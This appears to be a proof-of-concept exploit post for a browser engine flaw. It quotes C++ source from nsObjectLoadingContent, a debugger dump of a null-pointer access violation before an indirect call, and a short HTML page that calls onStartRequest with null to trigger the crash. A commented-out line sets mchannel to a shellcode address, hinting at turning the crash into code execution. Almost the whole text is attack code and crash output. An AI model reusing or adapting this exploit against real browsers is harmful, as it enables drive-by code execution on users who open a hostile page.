NS_IMETHODIMP nsObjectLoadingContent::OnStartRequest(nsIRequest *aRequest, nsISupports *aContext) { if (aRequest != mChannel) { // our pointer is checked there, mChannel is null. I think maybe some magick in js can help there return NS_BINDING_ABORTED; } AutoNotifier notifier(this, PR_TRUE); if (!IsSuccessfulRequest(aRequest)) { // go //---------------------------------------------------------------------------------- PRBool nsObjectLoadingContent::IsSuccessfulRequest(nsIRequest* aRequest) { nsresult status; nsresult rv = aRequest->GetStatus(&status); // Code execution is here. // --------------------------------------------------------------------------------- DUMP: 014E7A28 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8] 014E7A2B 8B07 MOV EAX,DWORD PTR DS:[EDI] ; access violation when reading 0x00000000 014E7A2D 8D4D FC LEA ECX,DWORD PTR SS:[EBP-4] 014E7A30 51 PUSH ECX 014E7A31 57 PUSH EDI 014E7A32 FF50 14 CALL DWORD PTR DS:[EAX+14] EAX 0012BFC0 ECX 00080000 EDX 00080000 EBX 03A199E8 ESP 0012BF44 EBP 0012BF54 ESI 03A199C0 EDI 00000000 EIP 014E7A2B xul.014E7A2B $ cat 2011_powrot_komuny.html <html> <body> <object id="dupa"> <script> RIINDC=document.getElementById("dupa"); RIINDC.QueryInterface(Components.interfaces.nsIRequestObserver); //RIINDC.mchannel=SHELLCODE_ADDR RIINDC.onStartRequest(null,RIINDC.QueryInterface(Components.interfaces.nsISupports)); //RIINDC.onStartRequest(RIINDC.mchannel,DWCJWL.QueryInterface(Components.interfaces.nsISupports)); </script> </body> </html>
评论 (0)